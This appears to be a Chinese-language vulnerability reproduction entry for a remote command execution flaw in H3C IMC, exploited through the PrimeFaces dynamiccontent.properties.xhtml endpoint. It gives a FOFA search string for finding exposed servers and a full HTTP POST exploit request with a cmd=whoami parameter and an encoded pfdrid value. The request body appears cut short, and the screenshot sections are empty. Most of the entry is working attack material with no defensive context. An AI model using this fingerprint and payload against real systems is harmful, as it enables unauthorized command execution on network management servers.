H17-1H3C-IMC智能管理中心-RCE

漏洞描述：

H3C IMC（Intlligent Management Center）智能管理中心是H3C推出的下一代业务智能管理产品。它融合了当前多个产品，以统一风格提供与网络相关的各类管理、控制、监控等功能；同时以开放的组件化的架构原型，向平台及其承载业务提供分布式、分级式交互管理特性；并为业务软件的下一代产品提供最可靠的、可扩展、高性能的业务平台。
H3C IMC dynamiccontent.properties.xhtml 存在远程命令执行，攻击者通过构造特殊的请求造成远程命令执行

网站图片：

网络测绘：

fofa语法：

- FOFA：body="/imc/javax.faces.resource/images/login_help.png.jsf?ln=primefaces-imc-new-webui"

漏洞复现：

漏洞位置：/imc/javax.faces.resource/dynamiccontent.properties.xhtml
数据包：
payload：

POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 Host: 127.0.0.1:9090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=F92841E0E8B8B5862380EE8A26113638; oam.Flash.RENDERMAP.TOKEN=-2s6vgzlac Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 1567

cmd=whoami&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOI

效果图: